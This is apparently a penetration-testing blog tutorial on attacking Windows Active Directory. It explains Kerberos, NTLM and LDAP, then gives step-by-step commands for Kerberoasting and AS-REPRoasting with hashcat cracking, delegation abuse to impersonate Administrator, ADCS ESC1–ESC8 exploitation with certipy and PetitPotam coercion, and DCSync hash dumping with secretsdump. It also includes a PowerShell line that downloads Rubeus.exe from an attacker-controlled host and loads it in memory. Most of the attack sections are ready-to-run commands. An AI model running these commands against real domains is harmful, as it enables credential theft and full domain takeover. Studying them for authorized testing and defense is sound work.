Active Directory
Introduction
Well, well well… Here we are. Doing an Active Directory introduction note. Lets start by defining what is Active directory
. Active Directory (AD), is the windows directory. It allows interconnection between computers and/or servers. The computers and servers in a domain (computer cluster) can have any distribution in it (Unix-like or windows).
I will not get into too much detail on how active directory works, what is a domain, forest… I will focus only on the different protocols and attacks on it. If you want to get more information about how an AD works, and want basic knowledge on it, I advise you the great post Attacking Active Directory: 0 to 0.9.
Protocols
Before talking about the attacks on AD, I will just talk about the basic protocols that we have on windows AD. First we will talk about the famous three headed dog… I mean Kerberos
protocol.
Kerberos
The Kerberos
protocol uses tickets. You ask tickets, you get tickets and you give tickets. But why do we need tickets ? Because you would, for example, access a service on the domain. For example, let’s say you would like to access a web server or a server that share files… You will have to authenticate to this service. In an AD environment, you will, most of the time, use the Kerberos
protocol for the authentication process (or NetNTLM but we will talk about it later).
Because an image is worth a big speech:
paloaltonetworks image |
Lets break this down. Lets say you want to access a server.
First, you have to connect to your workstation. When you enter your credentials, you request a
TGT
(Ticket Granting Ticket) to theAS
(Authentication Service). Then, theAS
check if you are who you pretend to be (username and hash of your password). If your credentials are valid, theAS
will provide you with the requestedTGT
.Now, when you try to connect to a server, it will check if the
Kerberos
protocol is available for this server. If so, you will request aST
(Service Ticket) to theTGS
(Ticket Granting Service). To be able to do that, the TGT is sent to the TGS so it can authenticate the client.With the
ST
, you just have to give it to the server that will check the validity of the ticket and authenticate you.
Be aware of the difference between
ST
andTGS
. TheTGS
is the SERVICE providing the TICKET, whereST
is the TICKET.
The KDC
(Key Distribution Center) is the fusion of an AS
and a TGS
. It is often the DC
(Domain Controller) that has the role of KDC
.
NTLM
There is often a bit of confusion when we talk about NTLM
. Do we speak about an authentication protocol or about a hash algorithm ? Well the authentication protocol is often called NTLM
but the full name is Net-NTLM
. There are different version of this protocol like Net-NTLMv1 or Net-NTLMv2. For now, only these 2 versions exist. And when we speak about a hash we just say NTLM hash
. This NTLM hash
is the response of the server challenge. It is the challenge + the response. But what people think of when we speak about NTLM hash
is the NT hash
or LM hash
. This NTLM hash
can be realayed or cracked offline.
Be aware that a lot of people make no distinction between the concatenation of
NT
andLM
hash (separated by a:
) and theNTLM "hash"/response
that isn’t really a hash. It is just a response to the challenge sent by the server. Sometimes, theLM/NT
hash is called NTLM hash
This
NTLM hash
can’t be passed. You can’t do a PtH (Pass the Hash) attack.
The client uses its NT
hash during the NTLM
authentication mechanism in order to calculate a response for the server.
NT
hash can be used to authenticate to several services (ex: RDP).
LDAP
LDAP
provides a standardized way to access and manage directory services, making it a fundamental component of many network infrastructure setups. For example, you can use LDAP
to list all the users of a domain.
Attacks
Now that we know more about how an AD is working, we are going to talk about the most basic attacks on it.
Kerberoasting
In Active Directory, a ST
can be requested by any user for any service that is registered in the domain database through an SPN
(Service Principal Names), regardless of whether the service is running or not. Only service account should have an SPN
but sometimes a regular user has an SPN
.
An
SPN
looks likeservice_class/machine_name[:port][/path]
The Kerberoast
attack consist on requests STs
for those services of regular user accounts and try to crack them to get the user passwords. Usually, the users that have services also have privileges, so these are juicy accounts.
Enumeration / Exploitation
First of all, we need a user of the domain to be able to launch this attack. Once you have that, you can use LDAP queries, Bloodhound or GetUsersSPN to find the potential vulnerable users. The basic command:
1
GetUserSPNs.py -dc-ip $DC_IP $DOMAIN.LOCAL/$USER
You can export the result with the same command by adding the
-outputfile
flag.
You can use
hashes
instead of the user password that you own by specifying the-hashes LM_HASH:NT_HASH
. This is calledPtH
(Pass the Hash)
For better visualization, you can use bloodhound-python to export all the necessary information from the domain using commands like:
1
bloodhound-python -u $USER -p $PASSWORD -ns $DC_IP -d $DOMAIN.local -c all --zip
Now that you exported the data with bloodhound-python
, you can use the default bloodhound
GUI program to see any information about the domain you are trying to exploit. There is an option to see all Kerberoastable
account in a graph format.
The same thing can be done using crackmapexec
:
1
cme ldap $DC_IP -u $USER -p "$PASSWORD" -d $DOMAIN.local --kerberoasting KERBEROASTING
You can now use tools like hashcat
to try cracking the recovered hash:
hashcat -m 13100 Kerberoastables.txt /usr/share/wordlists/rockyou.txt
Note that you can get
ST
for a service account. This won’t be able to crack it because it is generated automatically by the DC. It is a 120 random characters long passwords. Good luck cracking this XD.
AS-REPRoasting
Because some applications don’t support Kerberos preauthentication
, it is common to find users with Kerberos preauthentication disabled, hence allowing attackers to request TGTs
for these users and crack the session keys offline.
As for the Kerberoast
attack, you can also use Bloodhound GUI
to search AS-REPRoastable
users. But here we are going to look only for the command line exploit.
Enumeration / Exploitation
1
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $DC_IP "$DOMAIN/$USER:$PASSWORD"
Here we just listed the potentially vulnerable users and exported their hash from the TGT
in a file called ASREProastables.txt
.
If this doesn’t work you can provide a user list like so:
Note that you can use the
-hashes "$LM_HASH:$NT_HASH"
to use the hash of the user you own instead of its password.
We can now try to crack them all using hashcat
:
hashcat -m 18200 -a 0 ASREProastables.txt /usr/share/wordlists/rockyou.txt
It may be worth mentioning that we can exploit AS-REProasting as an unauthenticated attacker. We just need to know the domain name (visible in crackmapexec output) and the username (that we can bruteforced with kerbrute or using a user list like we did earlier).
Golden / Silver Tickets
First of all, Golden and Silver tickets are used for persistence. This mean that you won’t use it on CTFs or pentest but it is a well known persistence method so it is good to know it.
Silver Tickets
Lets start with silver tickets. A Silver Ticket
grants us access to a specific service. It allows us to generate a ST (Service Ticket) for this service. To do that, we need to know the kerberos key of this service account. To recover this key you can, for example, dump the lsass
process. Tools like mimikatz (kerberos::golden
) or the impacket ticketer.py can be used to do that.
Golden Tickets
Golden Tikets
allows us to have unrestricted access to a whole domain by generating a TGT
for any user. To be able to do that, we need to have access to the krbtgt
key and to get this, we need to be domain admin (DA).
Delegations
Delegation is a mechanism in which a machine (the delegation server) can impersonate a user on a service. This means that the service think that the user ask for the resource where in reality it is the delegation server that is asking the resource to the server and then forward it to the user.
I will not get into too much detail here. you can have more information about the delegation on the hacker recipes or hackndo. They both are inspired by the article of Elad Shamir Wagging the Dog and this article is much more detailed than the two previous blogs. Here is also a talk about delegation presented by Shutdown (@nwodtuhs). (The french version here).
I will use the appellation
delegation server
. This can be any kind of server (web, share, database…) that does the mechanism of delegation. Its role isn’t only to delegate.
Unconstrained Delegation
This type of delegation was the first one created. It is not recommended to use it anymore. This allows the Unconstrained Delegation
server to impersonate any user for any service. The only users that can’t be impersonated are the one in the group Protected Users
and the one with the flag NOT_DELEGATED
in the UserAccountControl attribute of the user account.
Source: HacknDo |
The client connect to the service by sending its ST
. Inside his ST
, the DC
puts a copy of the user’s TGT
. That service uses this TGT
to impersonate the client to any other service.
To exploit the delegation mechanisms, you’ll need the hash of the service account or being admin of the machine.
Here we will have as an exemple an unconstrained delegation between PC
and DC
.
First connect to the machine (PC
) then launch Rubeus
in memory like so:
1
2
3
$data = (New-Object System.Net.WebClient).DownloadData('http://$KALI_IP:8080/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data);
[Rubeus.Program]::MainString("triage");
This command allows you to list all available tickets. Now we can use coercer
to force a connection from PC
to DC
:
1
python3 coercer.py -u $ADMIN_PC -d $DOMAIN_PC -p $PASS_ADMIN_PC1 -t $DC -l $PC_NAME
Now if you run again the triage
command, you should see the krbtgt
ticket in the list. To recover it, you can use the following command:
1
[Rubeus.Program]::MainString("dump /user:$MACHINE_NAME_DC /service:krbtgt /nowrap");
Now, we have a base64 ticket, you can convert it as a ccache
file like so:
1
2
3
cat tgt.b64|base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache
export KRB5CCNAME=/PATH/TO/ticket.ccache
And now we can use it to use command with this ticket like SecretsDump
for exemple using the -k
option.
S4U2Self
S4U2Self
is an extension of Kerberos
. It allows a machine that does delegation to impersonate a user on itself. To be more specific, it allows the machine to get a ST
for its service (itself) as any user. This is very convenient when a service does not use Kerberos
as its authentication mechanism.
Lets say that you try to connect to a service that uses the Net-NTLM
authentication mechanism. Net-NTLM
doesn’t use tickets, it is not related to Kerberos
. This means that the delegation mechanism can’t work because it relies on the use of ST
.
Protocol Transition
(PT) is the name of this mechanism.PT
is the mechanism that allow connection from other protocols thanKerberos
on aKerberos
environment. Protocol Transition is only applicable toConstrained Delegation
, not RBCD. It does not allow a connection from another protocol, it allows a delegation from another protocol to kerberos.
This is where the Protocol transition
(PT) enter the scene. This will allow us to get a valid ST for our own service using S4U2Self
for the user that just authenticated using Net-NTLM
or an attacker can use it to impersonate any user on our service machine like the admin for example.
S4U2Self
produces forwardable tickets only if the user is not a member of the protected user
group or if it does not have the UAC NOT_DELEGATED
attribute set. It will be important for S4U2Proxy
.
S4U2Proxy
S4U2Proxy
as S4U2Self
is also an extension of Kerberos
. It allows the delegation server to ask for a ST
for “any” user and usable on any service on which it has permission to delegate (only works with Kerberos
). To be able to do that, S4U2Proxy
needs a forwardable ST
. The forwardable
flag of a ST
can be obtained thanks to S4U2Self
(only if the two upper conditions specified in the S4U2Self
section are not set).
Constrained Delegation
Then the Constrained Delegation
was created. Here, the constrained delegation server can only impersonate users on specific services. As you can see on the bellow schema, the user can be impersonated only on the file server and not on the two other.
Source: HacknDo |
The Contrained Delegation
server ask the DC (Domain Controller) if it can receive a ST
(Service Ticket) as the specified user. This is possible thanks to Self4U2Self
Note that the information about if the
Constrained Delegation
server is allowed or not to impersonate a user on a specific server is stored in the DC not on theConstrained Delegation
server.
Only DA (Domain Admin) can change the delegation rights.
To exploit the Constrained Delegation
, we first need to find it using the following command:
1
findDelegation.py $DOMAIN/$USER:$PASSWORD -target-domain $TARGET_DOMAIN
Now there is two scenarios. The first one is if there is protocol transition on the service that has the right to delegate.
With protocol transition
In this case, we first need to ask a TGT
for the user we want to impersonate, then execute S4U2Self followed by S4U2Proxy to impersonate the administrator.
For Windows, you can use Rubeus
:
1
2
.\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /password:$PASSWORD
.\Rubeus.exe s4u /ticket:$TICKET /impersonateuser:administrator /msdsspn:CIFS/$DC_NAME /ptt
Or on Linux:
1
getST.py -spn "CIFS/$DC_NAME" -impersonate Administrator -dc-ip $DC_IP $DOMAIN/$USER:$PASSWORD
With the received ticket, we can export it and then use it to connect to the machine with tools like smbexec
, psexec
, wmiexec
…
You need to export the ticket using the
export KRB5CCNAME=/PATH/TO/ticket.ccache
command
Without Protocol transition
In this case, we need a forwardable ST
as the administrator to any service on the server. Here, we can’t just ask for the ST
like we did earlier with protocol transition so we need to create a machine and add delegation from our created machine to the server (that has delegation). Why would we do that ? Because the resulted ST
from our created machine is a forwardable ticket on the server (that has delegation).
First, we create our machine:
1
addcomputer.py -computer-name 'rbcd_created_machine$' -computer-pass 'rbcdpass' -dc-host $DC_IP $DOMAIN/$USER:$PASSWORD
Now, we add the RBCD
from rbcd_created_machine$
to the server with Constrained Delegation
.
1
rbcd.py -delegate-from 'rbcd_created_machine$' -delegate-to $SERVER_NAME_WITH_DELEGATION -dc-ip $DC_IP -action 'write' -hashes ":$SERVER_HASH" $DOMAIN/$SERVER_NAME_WITH_DELEGATION
Now that everything is set up, we can use S4U2Slef
followed by S4U2Proxy
on the server with delegation.
1
2
3
4
5
# s4u2self on rbcd_created_machine
getST.py -self -impersonate "administrator" -dc-ip 192.168.56.11 north.sevenkingdoms.local/'rbcd_created_machine$':'rbcdpass'
# s4u2proxy from rbcd_created_machine to $SERVER_NAME_WITH_DELEGATION
getST.py -impersonate "administrator" -spn "host/$SERVER_NAME_WITH_DELEGATION" -additional-ticket 'TICKET_NAME.ccache' -dc-ip $DC_IP $DOMAIN/'rbcd_created_machine$':'rbcdpass'
or using only one command:
1
getST.py -spn "host/$SERVER_NAME_WITH_DELEGATION" -impersonate Administrator -dc-ip $DC_IP $DOMAIN/'rbcd_created_machine$':'rbcdpass'
And finally, we use our forwardable ticket we just received to get a ST
as the administrator on the DC
and connect to it:
1
2
3
4
getST.py -impersonate "administrator" -spn "http/$DC_NAME" -altservice "cifs/$DC_NAME" -additional-ticket 'TICKET_OF_ADMIN_OF_SERVER.ccache' -dc-ip $DC_IP -hashes ":$SERVER_HASH" $DOMAIN/$SERVER_NAME_WITH_DELEGATION
export KRB5CCNAME=/PATH/TO/TICKET_OF_ADMIN_OF_DC.ccache
wmiexec.py -k -no-pass $DOMAIN$/administrator@$DC_NAME
Resource Based Constrained Delegation
Resource Based Constrained Delegation
(RBCD) works the other way around. It is not the RBCD
server that check if it has the right to impersonate the service (ex: web server).The machine account can change its own attribute and not only the DA can change it on the DC. If the machine is compromised, then we can get the hash of the machine account and then continue the attack. This means that if you create a machine (MachineAccountQuota > 0) then you can specify that a specific server can impersonate your machine.
Source: HacknDo |
To exploit an RBCD
, we first need to create a machine:
1
addcomputer.py -computer-name 'rbcd_created_machine$' -computer-pass 'rbcdpass' -dc-host $DC_IP $DOMAIN/$USER:$PASSWORD
Now, we add the RBCD
from rbcd_created_machine$
to the server with RBCD
.
1
rbcd.py -delegate-from 'rbcd_created_machine$' -delegate-to $SERVER_NAME_WITH_DELEGATION -dc-ip $DC_IP -action 'write' -hashes ":$SERVER_HASH" $DOMAIN/$SERVER_NAME_WITH_DELEGATION
Our created machine has now delegation permission on our target, we can now use S4U2Self
followed by S4U2Proxy
and get an administrator ticket for the DC
:
1
2
3
4
getST.py -spn "cifs/$DC_SPN" -impersonate Administrator -dc-ip $DC_IP $DOMAIN/'rbcd_created_machine$':rbcdpass
export KRB5CCNAME=TICKET_OF_ADMIN_OF_DC
wmiexec.py -k -no-pass @$DC_SPN
ADCS
ADCS
or Active Directory Certificate Services
is Microsoft’s PKI (Public Key Infrastructure). This means that ADCS
allows integrity, authentication, non repudiation and confidentiality. Here we will be talking about ESC1
to ESC8
used for domain escalation. ESC
stand for Escalation
.
The main idea is that if you have enough rights, you can ask for certificates for a specific user, recover its NT
hash and pass it or crack it.
Those appellations ESCX
come from this paper from Will Schroeder and Lee Christensen also explained in this blog in a funnier way :).
Here are the meaning of each ESC
based on this paper:
ESC1
: Domain escalation via No Issuance Requirements + Enrollable Client Authentication/Smart Card Logon OID templates + CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTESC2
: Domain escalation via No Issuance Requirements + Enrollable Any Purpose EKU or no EKUESC3
: Domain escalation via No Issuance Requirements + Certificate Request Agent EKU + no enrollment agent restrictionsESC4
: Domain escalation via misconfigured certificate template access controlESC5
: Domain escalation via vulnerable PKI AD Object Access ControlESC6
: Domain escalation via the EDITF_ATTRIBUTESUBJECTALTNAME2 setting on CAs + No Manager Approval + Enrollable Client Authentication/Smart Card Logon OID templatesESC7
: Vulnerable Certificate Authority Access ControlESC8
: NTLM Relay to AD CS HTTP Endpoints
Well this is a lot… But we have a wonderful tool that allows us to check if the ADCS
is vulnerable and can also be used to exploit it. Please welcome certipy!!!
Vulnerable ADCS
To check if an ADCS
is vulnerable, you will have to run the following command:
1
certipy find -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -vulnerable
The output should look like this: IMAGE
ESC1
As you can see, the CA
(Certificate Authority) is vulnerable to ESC1
. To be able to exploit it you can recover the admin certificate:
1
certipy req -u $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC1 -ca $CA_NAME -upn administrator@$DOMAIN.local
Now, we should have a file called administrator.pfx
. With this file, we can use it to recover the administrator NT
hash:
1
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
ESC2 /ESC3
With ESC2
and ESC3
are using the enrollment agent to request a certificate. As for ESC1
, we use certipy
to request a certificate:
1
certipy req -u $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC2 -ca $CA_NAME
1
certipy req -u $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template User -ca $CA_NAME -on-behalf-of '$NETBIOS_NAME\administrator' -pfx $OUR_USER.pfx
Now that we have the admin certificate, we can use it to recover the NT
hash:
1
certipy auth -pfx administrator.pfx -dc-ip $DC_IP
As you may have notice, we did this for the template ESC2
, but we can run the following commands to exploit ESC3-CRA
and ESC3
templates:
1
certipy req $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC3-CRA -ca $CA_NAME
Or
1
certipy req $USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC3 -ca $CA_NAME -on-behalf-of '$NETBIOS_NAME\administrator' -pfx $OUR_USER.pfx
And finally get the NT
hash:
1
certipy auth -pfx administrator.pfx -username administrator -domain $DOMAIN.local -dc-ip $DC_IP
Because the recovery of the
NT
hash is always the same command, I will not write this step anymore but you can check theESC1
andESC2/ESC3
to see how it is done.
ESC4
In ESC4
, we will write privilege over a certificate template. Here, we are going to cheat a bit XD. We are not going to exploit ESC4
as we did with the previous template exploit. Here, we are going to use ESC4
to change the template and make it vulnerable to ESC1
:
1
certipy template -u $USER@$DOMAIN.local -p $PASSWORD -template ESC4 -save-old -debug
Now that the template is vulnerable to ESC1
, we can exploit it as follows:
1
certipy req -u USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template ESC4 -ca $CA_NAME -upn administrator@$DOMAIN.local
Because we did a modification over the template, we can rollback to the previous template using this command
certipy template -u USER@$DOMAIN.local -p $PASSWORD -template ESC4 -configuration ESC4.json
TheESC4.json
is generated in the first command thanks to the parameter-save-old
.
ESC5
Because ESC5
is less common and used so here is a link that explains it in detail.
ESC6
With ESC6
, we are going to abuse the ATTRIBUTESUBJECTALTNAME2
flag set on the CA
. This flag allows the enrollee to specify an arbitrary SAN (Subject Alternative Name) on all certificates despite a certificate template’s configuration. To get the certificate, we can run the following command:
1
certipy req -u USER@$DOMAIN.local -p $PASSWORD -target $CA_SERVER.$DOMAIN.local -template User -ca $CA_NAME -upn administrator@$DOMAIN.local
ESC7
As for ESC5
, ESC7
is also not common and used so here is another link to get more information about it.
ESC8
ESC8
is a bit different. We don’t request directly a certificate and use it to get the administrator NT
hash. Here we are going to use NTLM Relay (this attack will be explained in more detail in the next chapter). But the main idea is that we are going to receive a connexion with a Coertion
for exemple (Coertion
is the action to force a machine account to authenticate to us.) and then use this received connexion to relay it to the same protocol or a different one (for more information check out the NTLM relay
chapter). For more simple exemple, we are going to use certipy
that will do the NTLM relay for us.
First, we use certipy
as a listener:
1
certipy relay -ca $CA_IP -template DomainController
Now we are going to use the tool petitpotam that will trigger the coertion:
1
petitpotam.py $OUR_IP $DC_NAME.$DOMAIN.local
We could have used
Responder
otmitm6
to recover the connection instead ofpetipotam
. This will not use coertion but spoof different protocols to recover a connection and send it to certipy.
We recover the NT
hash and TGT
of the DC from the certificate :
1
certipy auth -pfx CERTIFICATE.pfx -dc-ip $DC_IP
For information purpose, in all above cases,
certipy auth
does not always work, but even when we can’t use it, the ESC is still exploitable by other means.
NTLM Relay
Coming soon
DCSync
We have seen a lot of attacks by now on an AD. Some of them allowed us to get domain admin
access (access over all the domain like DC and servers). When we are domain admin
or if we have a user with DCSync
right, a cool thing to do is to recover every hash of every user and every machine. And when we do that, we can connect as any user on any machine (if it is allowed). Hence, because we also have the domain admin
hash, we can connect with it on any machine of the domain.
This attack is called DCSync (dump of the DC information). We can use tools like secretsdump
to do that using a Kerberos ticket :
1
2
export KRB5CCNAME=/workspace/esc8/CCACHE_FILE.ccache
secretsdump -k -no-pass $DOMAIN.LOCAL/"$MACHINE"@$DC_NAME.$DOMAIN.local
Or, we could just dump all the hash of the domain using the NT
hash instead of the TGT
:
1
secretsdump -hashes ":$NT_HASH_OF_DC_ACC" -no-pass $DOMAIN.LOCAL/"$MACHINE"@$DC_NAME.$DOMAIN.local